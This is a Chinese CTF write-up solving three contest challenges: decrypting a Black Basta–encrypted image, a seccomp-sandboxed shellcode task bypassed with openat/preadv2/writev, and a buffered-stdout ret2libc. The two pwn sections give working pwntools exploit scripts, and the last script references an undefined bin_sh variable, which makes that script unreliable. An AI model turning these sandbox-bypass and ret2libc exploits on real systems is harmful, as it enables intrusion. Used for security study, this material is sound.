比赛打一半去学逆向啦, awdp
的pwn
没打
初探勒索病毒
题目内容:
你服务器上的一张图片被Black Basta勒索病毒给加密了。当你在服务器上还原出该图片后,等待一分钟左右,/flag就会变为可读权限。
(本题下发后会有一个ssh地址、账号密码,选手可通过ssh来访问环境)
(关注微信公众号“勒索病毒头条”,发送关键词“BASTA”可获取该题提示。)
我选择直接获取提示
【2024春秋杯夏季赛】
https://www.nomoreransom.org/zh/decryption-tools.html
搜索BlackBasta,并点击下载。
(如果您还需要进一步的提示,可在本公众号输入“BASTA2”获取。)
【2024春秋杯夏季赛】
sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block
这题的判断依据是能不能正常访问banana.jpg
这个图片,所以把banana.jpg.sah28vut5
改成banana.jpg
再用上面给的指令解密,图片在/var/www/html
目录下
mv ./banana.jpg.sah28vut5 ./banana.jpg
sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg ./key.block
Shuffled_Execution
题目内容:
The Fishmonger found a secured entrance to somewhere...
一道写shellcode
的题,创建了一段可读可写可执行区域,写入0x250
的数据后开了沙箱并对输入内容进行随机化操作,但是操作长度的判断是通过strlen
获取的,所以直接输入\x00
即可绕过
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t len; // rsi
__int64 v4; // rax
char *s; // [rsp+28h] [rbp-18h]
init();
s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
if ( s == (char *)-1LL )
{
perror("mmap failed");
exit(1);
}
syscall(0LL, 0LL, 0x1337000LL, 0x250LL);
len = strlen(s);
shuffle((__int64)s, len);
if ( len <= 0xAF )
{
sandbox();
entrance();
LODWORD(v4) = 0;
}
else
{
return (int)"Error triggered...";
}
return v4;
}·
查看沙箱内容,发现禁用了execve execveat open read readv pread preadv write sendmsg
,最后选择用openat preadv2 writev
,需要注意的是preadv2 writev
的用法
unsigned __int64 sandbox()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
seccomp_rule_add(v1, 0LL, 2LL, 0LL);
seccomp_rule_add(v1, 0LL, 0LL, 0LL);
seccomp_rule_add(v1, 0LL, 19LL, 0LL);
seccomp_rule_add(v1, 0LL, 17LL, 0LL);
seccomp_rule_add(v1, 0LL, 295LL, 0LL);
seccomp_rule_add(v1, 0LL, 1LL, 0LL);
seccomp_rule_add(v1, 0LL, 40LL, 0LL);
seccomp_load(v1);
return v2 - __readfsqword(0x28u);
}
示例如下,即preadv2
的二参是一个结构体,且这个结构体包含了数据缓冲区地址以及长度,就相当于原来read
的二参和三参
#include <unistd.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/uio.h>
#define SYS_preadv2 327
ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags) {
return syscall(SYS_preadv2, fd, iov, iovcnt, offset, flags);
}
int main() {
// 打开文件
int fd = open("flag", O_RDONLY);
if (fd == -1) {
perror("open");
exit(EXIT_FAILURE);
}
// 准备读取数据的缓冲区
char buffer[0x50] = {0};
// 设置读取操作的 iovec 结构体
struct iovec iov;
iov.iov_base = buffer;
iov.iov_len = sizeof(buffer);
// 使用 preadv2 读取文件数据到缓冲区
ssize_t bytes_read = preadv2(fd, &iov, 1, 0, 0);
if (bytes_read == -1) {
perror("preadv2");
close(fd);
exit(EXIT_FAILURE);
}
// 输出读取的数据
write(STDOUT_FILENO, buffer, bytes_read);
// 关闭文件
close(fd);
return 0;
}
最终exp
如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('8.147.128.163', 36703)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p = b'\x00PP'
shellcode = asm('''
/* openat(fd=-0x64, file='flag', oflag=0) */
add rax, 0x62
mov r12, rax
mov rsi, rax
mov rdi, -0x64
/* call openat() */
mov rax, 0x101 /* 0x101 */
syscall
/* preadv2(vararg_0=3, vararg_1=0x1337090, vararg_2=1, vararg_3=0, vararg_4=0) */
mov rdi, 3
mov rdx, 0x1
add r12, 0x15
mov rsi, r12
/* call preadv2() */
mov rax, 327
syscall
/* writev(fd=1, iovec=0x1337090, count=1) */
mov rdi, 1
mov rdx, 0x1
/* call writev() */
mov rax, 0x14
syscall
''')
p += shellcode + b'\x00' * 0x10 + b'flag\x00' + b'\x00' * 0x10 + p64(0x1337090) + p64(0x100)
r.sendlineafter(b'entrance', p)
r.interactive()
stdout
先检查保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
main
函数里存在栈溢出,溢出长度刚好是一个地址
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
init();
puts("where is my stdout???");
read(0, buf, 0x60uLL);
return 0;
}
重点是init
函数,输出被设置为全缓冲区,只有当缓冲区被填满时才会进行I/O操作
void __fastcall init()
{
setvbuf(stdout, 0LL, 0, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
}
也可以通过以下方式进行手动刷新缓冲区从而输出缓冲区中的内容:
- 显式调用
fflush
函数 - 流被关闭(调用
fclose
) - 程序正常结束(调用
exit
)
程序其他部分包括vuln extend
,vuln
目的是进行更大长度的栈溢出,而extend
是为了向输出缓冲区填入更多内容加快填满输出缓冲区,因为直接通过输出一个地址来填满输出缓冲区会由于连接不稳定而无法打通远程
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x200uLL);
}
__int64 extend()
{
__int64 result; // rax
char s[8]; // [rsp+0h] [rbp-30h] BYREF
__int64 v2; // [rsp+8h] [rbp-28h]
__int64 v3; // [rsp+10h] [rbp-20h]
__int64 v4; // [rsp+18h] [rbp-18h]
int v5; // [rsp+28h] [rbp-8h]
int v6; // [rsp+2Ch] [rbp-4h]
puts("Just to increase the number of got tables");
*(_QWORD *)s = '!olleh';
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
v6 = strlen(s);
if ( strcmp(s, "hello!") )
exit(0);
puts("hello!");
srand(1u);
v5 = 0;
result = (unsigned int)(rand() % 16);
v5 = result;
return result;
}
所以本题的思路就是先利用extend
填满输出缓冲区,再ret2libc
,exp
如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('39.106.48.123', 31448)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
vuln = 0x40125D
ret = 0x000000000040101a
p = b'a' * 0x58 + p64(vuln)
r.send(p)
pop_rdi_ret = 0x00000000004013d3
pop_rsi_r12_ret = 0x00000000004013d1
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
extend = 0x401287
p1 = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
p = b'a' * 0x28 + p64(ret) + p64(extend) * 54 + p1 + p64(vuln)
for i in range(3):
r.send(p)
libc = ELF('./2.31/libc-2.31.so')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x84420
pop_rdx_ret = 0x0000000000142c92 + libc_base
execve = libc.sym['execve'] + libc_base
p = b'a' * 0x28 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rdx_ret) + p64(0) + p64(pop_rsi_r12_ret) + p64(0) * 2 + p64(execve)
r.send(p)
r.interactive()